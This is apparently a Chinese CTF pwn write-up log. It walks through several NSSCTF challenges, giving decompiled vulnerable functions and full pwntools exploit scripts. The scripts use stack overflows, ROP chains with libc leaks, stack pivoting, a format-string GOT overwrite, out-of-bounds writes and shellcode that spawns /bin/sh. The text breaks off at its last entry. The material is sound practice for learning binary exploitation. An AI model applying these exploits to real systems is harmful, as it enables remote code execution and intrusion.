info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
shellcode = asm('''
xor rdi,rdi;
mov rsi,rdx;
add rsi,0x10;
syscall;
call rsi;
''')
sl(shellcode)
sl(asm(shellcraft.cat("/flag")))
inter()

[HNCTF 2022 WEEK2]ret2libc

1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x200uLL);
}

打个rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 26221
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0x100 + 8

payload = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],rdi,elf.got['read'],elf.plt['puts'],elf.sym['main']])
sl(payload)
puts_addr = get_addr()
read_addr = get_addr()
info("puts addr : {:#x}".format(puts_addr))
info("read addr : {:#x}".format(read_addr))
libc_base = puts_addr - 0x84420
system = 0x52290 + libc_base
bin_sh = 0x1b45bd + libc_base
payload2 = flat([cyclic(offset),rdi,bin_sh,system])
sl(payload2)
inter()

[广东省大学生攻防大赛 2022]jmp_rsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:0000000000400B5D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000400B5D public main
.text:0000000000400B5D main proc near ; DATA XREF: _start+1D↑o
.text:0000000000400B5D
.text:0000000000400B5D buf = byte ptr -80h
.text:0000000000400B5D
.text:0000000000400B5D ; __unwind {
.text:0000000000400B5D push rbp
.text:0000000000400B5E mov rbp, rsp
.text:0000000000400B61 add rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000400B65 lea rdi, aThisIsAClassic ; "this is a classic pwn"
.text:0000000000400B6C mov eax, 0
.text:0000000000400B71 call printf
.text:0000000000400B76 lea rax, [rbp+buf]
.text:0000000000400B7A mov edx, 100h ; count
.text:0000000000400B7F mov rsi, rax ; buf
.text:0000000000400B82 mov edi, 0 ; fd
.text:0000000000400B87 call read
.text:0000000000400B8C mov eax, 0
.text:0000000000400B91 leave
.text:0000000000400B92 retn
.text:0000000000400B92 ; } // starts at 400B5D
.text:0000000000400B92 main endp

buf离栈顶0x80距离,读取0x100的大小,这时候buf指向输入的开头,开启了栈可执行

image

我们找到了call rsi这个magic gadget,这样就可以直接调用buf里面的命令,也就是shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
call_rsi = 0x000000000044e631
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

offset = 0x80 + 8
payload1 = asm(shellcraft.sh())
payload1 = payload1.ljust(offset,b'\x00') + p64(call_rsi)
sl(payload1)
inter()

[NSSRound#4 SWPU]真签到题来试试吧

image

开启了NX

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v3; // rsi
void *handle; // [rsp+18h] [rbp-8h]

handle = dlopen("libc.so.6", 258);//加载链接库
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
puts("--- --- --------- ---------");
puts("| | \\ | | / /----|__| / /----|__|");
puts("| |\\ \\ | | | |_______ | |_______");
puts("| | \\ \\| | \\ ______ \\ \\ ______ \\");
puts("| | \\ \\ | _______| | _______| |");
puts("| | \\__| |_________/ |_________/");
v3 = dlsym(handle, "system");//加载system函数地址
printf("%p\n", v3);//输出地址
vuln("%p\n", v3);
write(1, "SlVTVCBBIEpPS0UgLCBORVZFUiBNSU5E\n", 0x21uLL);
return 0;
}
ssize_t __fastcall vuln(const char *a1)
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x100uLL);
}

read往bss段上写入数据,这题有点坑啊,我以为payload错了呢,看了半天加上sleep就成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28705
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
rsi_r15 = rop.find_gadget(['pop rsi'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
rl("_________/ |_________/\n")
system = int(p.recvuntil("\n",drop=True).decode("utf-8"),16)

bin_sh = 0x000000000404078
offset = 0x80 + 8
payload1 = b'A'*0x88 + p64(rsi_r15) + p64(bin_sh) + p64(0) + p64(elf.plt['read']) + p64(elf.sym['vuln'])
sleep(0.5)
sl(payload1)
sleep(0.5)

sl("/bin/sh\x00")
payload2 = b'A'*0x88 + p64(rdi) + p64(bin_sh) + p64(system)
sleep(0.5)

sl(payload2)
inter()

[CISCN 2019华南]PWN4

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

发现可以写入0x30后print可以泄露出来ebp的值,然后迁移即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 23681
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
leave = rop.find_gadget(['leave','ret'])[0]
# print(leave)

# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))

payload1 = b"A"*0x28
s(payload1)
rl(b'A'*0x28)
ebp = u32(p.recv(4))
success("fake_ebp: {:#x}".format(ebp-0x30))
success("bin_sh: {:#x}".format(ebp-0x38))

payload2 = b'bbbb' + p32(elf.sym['system']) + b'AAAA' + p32(ebp-0x28) + b'/bin/sh\x00'
payload2 = payload2.ljust(0x28,b'\x00') + p32(ebp-0x38) + p32(leave)
# debug()
sl(payload2)
# pause()
inter()

11.14

[FSCTF 2023]rdi

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[128]; // [rsp+10h] [rbp-80h] BYREF

init(argc, argv, envp);
info();
read(0, buf, 0xA0uLL);
return 0;
}
int __fastcall gift(const char *a1)
{
return system(a1);
}

使用sh也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

rsi_r15 = rop.find_gadget(['pop rsi'])[0]

bin_sh = 0x000000000601088

offset = 0x80 + 8
payload = b'A'*0x88+ p64(rdi) + p64(next(elf.search("sh"))) + p64(0x0000000004006FB)
print(hex(len(payload)))
sl(payload)
# puts = get_addr()
# success("puts: {:#x}".format(puts))
inter()

[SWPUCTF 2022 新生赛]FindanotherWay

很简单不知道为什么没人做

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 28134
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0xC + 8
payload = cyclic(offset) + p64(0x401250)
sl(payload)
inter()

[watevrCTF 2019]Voting Machine 2

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24551
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
payload = 2 * b'a' + fmtstr_payload(8,{elf.got['puts']:elf.sym['super_secret_function']},numbwritten=2)
s(payload)
pr()

sl(b'cat flag')
p.recvuntil('lag')
flag = p.recv(44)
print(flag)
inter()

[HGAME 2023 week1]choose_the_seat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __noreturn vuln()
{
int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("Here is the seat from 0 to 9, please choose one.");
__isoc99_scanf("%d", &v0);
if ( v0 > 9 )
{
printf("There is no such seat");
exit(1);
}
puts("please input your name");
read(0, &seats[16 * v0], 0x10uLL);
printf("Your name is ");
puts(&seats[16 * v0]);
printf("Your seat is %d\n", v0);
printf("Bye");
exit(0);
}

数组越界

image

修改exit为_start循环

然后后一位为read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 29296
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
libc = ELF('./libc-2.31.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
sl("-6")
sa(b'name',p64(elf.symbols['main']))
sla(b'one.\n',b'-7')
p.sendafter(b'name',b'\xc0')
p.recvuntil(b'Your name is ')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['read']
print('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
p.sendlineafter(b'one.\n',b'-9')
p.sendafter(b'name',b'/bin/sh\x00'+p64(system_addr))
p.interactive()


11.15

[SWPUCTF 2023 秋季新生赛]Shellcode

image

开启了PIE和Canary和RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
.text:00000000000011AD                 push    rbp
.text:00000000000011AE mov rbp, rsp
.text:00000000000011B1 sub rsp, 70h
.text:00000000000011B5 mov rax, fs:28h
.text:00000000000011BE mov [rbp+var_8], rax
.text:00000000000011C2 xor eax, eax
.text:00000000000011C4 mov rax, cs:stdout@@GLIBC_2_2_5
.text:00000000000011CB mov esi, 0 ; buf
.text:00000000000011D0 mov rdi, rax ; stream
.text:00000000000011D3 call _setbuf
.text:00000000000011D8 mov rax, cs:stderr@@GLIBC_2_2_5
.text:00000000000011DF mov esi, 0 ; buf
.text:00000000000011E4 mov rdi, rax ; stream
.text:00000000000011E7 call _setbuf
.text:00000000000011EC mov rax, cs:stdin@@GLIBC_2_2_5
.text:00000000000011F3 mov esi, 0 ; buf
.text:00000000000011F8 mov rdi, rax ; stream
.text:00000000000011FB call _setbuf
.text:0000000000001200 lea rdi, s ; "Hello! Welcome to the pwn world!"
.text:0000000000001207 call _puts
.text:000000000000120C lea rdi, aDoYouKnowWhatS ; "Do you know what shellcode is?"
.text:0000000000001213 call _puts
.text:0000000000001218 lea rdi, aLetSHaveATry ; "Let's have a try!"
.text:000000000000121F call _puts
.text:0000000000001224 lea rax, [rbp+buf]
.text:0000000000001228 mov edx, 64h ; 'd' ; nbytes
.text:000000000000122D mov rsi, rax ; buf
.text:0000000000001230 mov edi, 0 ; fd
.text:0000000000001235 call _read
.text:000000000000123A lea rax, [rbp+buf]
.text:000000000000123E call rax
.text:0000000000001240 mov eax, 0
.text:0000000000001245 mov rcx, [rbp+var_8]
.text:0000000000001249 xor rcx, fs:28h
.text:0000000000001252 jz short locret_1259
.text:0000000000001254 call ___stack_chk_fail
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
sl(asm(shellcraft.sh()))
inter()

11.16

[NSSRound#9 Basic]MyExec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.text:0000000000001325                 push    rbp
.text:0000000000001326 mov rbp, rsp
.text:0000000000001329 sub rsp, 10h
.text:000000000000132D ; 3: init(argc, argv, envp);
.text:000000000000132D mov eax, 0
.text:0000000000001332 call init
.text:0000000000001337 ; 4: sandbox();
.text:0000000000001337 mov eax, 0
.text:000000000000133C call sandbox
.text:0000000000001341 ; 5: puts("test NSS sandbox");
.text:0000000000001341 lea rax, s ; "test NSS sandbox"
.text:0000000000001348 mov rdi, rax ; s
.text:000000000000134B call _puts
.text:0000000000001350 ; 6: mmap((void *)0x50000, 0x1000uLL, 7, 50, -1, 0LL);
.text:0000000000001350 mov r9d, 0 ; offset
.text:0000000000001356 mov r8d, 0FFFFFFFFh ; fd
.text:000000000000135C mov ecx, 32h ; '2' ; flags
.text:0000000000001361 mov edx, 7 ; prot
.text:0000000000001366 mov esi, 1000h ; len
.text:000000000000136B mov edi, 50000h ; addr
.text:0000000000001370 mov eax, 0
.text:0000000000001375 call _mmap
.text:000000000000137A ; 7: read(0, (void *)0x50000, 0x64uLL);
.text:000000000000137A cdqe
.text:000000000000137C mov [rbp+var_8], rax
.text:0000000000001380 mov edx, 64h ; 'd' ; nbytes
.text:0000000000001385 mov esi, 50000h ; buf
.text:000000000000138A mov edi, 0 ; fd
.text:000000000000138F call _read
.text:0000000000001394 ; 8: MEMORY[0x50000]();
.text:0000000000001394 mov eax, 0
.text:0000000000001399 mov edx, 50000h
.text:000000000000139E call rdx
.text:00000000000013A0 ; 9: return 0;
.text:00000000000013A0 mov eax, 0
.text:00000000000013A5 leave
.text:00000000000013A6 retn

ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 21775
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
shellcode = asm(shellcraft.sh())
sl(shellcode)
inter()

[MoeCTF 2022]ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000401183 buf             = byte ptr -40h
.text:0000000000401183
.text:0000000000401183 ; __unwind {
.text:0000000000401183 endbr64
.text:0000000000401187 push rbp
.text:0000000000401188 mov rbp, rsp
.text:000000000040118B sub rsp, 40h
.text:000000000040118F lea rax, [rbp+buf]
.text:0000000000401193 mov edx, 70h ; 'p' ; nbytes
.text:0000000000401198 mov rsi, rax ; buf
.text:000000000040119B mov edi, 0 ; fd
.text:00000000004011A0 call _read
.text:00000000004011A5 nop
.text:00000000004011A6 leave
.text:00000000004011A7 retn

libc6_2.35-0ubuntu3.2_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 22681
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
offset = 0x40 + 8

payload1 = flat([cyclic(offset),rdi,elf.got['puts'],elf.plt['puts'],0x000000000401187])
sl(payload1)
puts_addr = get_addr()
success("puts: {:#x}".format(puts_addr))
libc_base = puts_addr - 0x80ed0
system = 0x50d60 + libc_base
str_bin_sh = 0x1d8698 + libc_base
payload2 = flat([cyclic(offset),ret,rdi,str_bin_sh,system])
sl(payload2)
# debug()
inter()

[MoeCTF 2021]ezROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
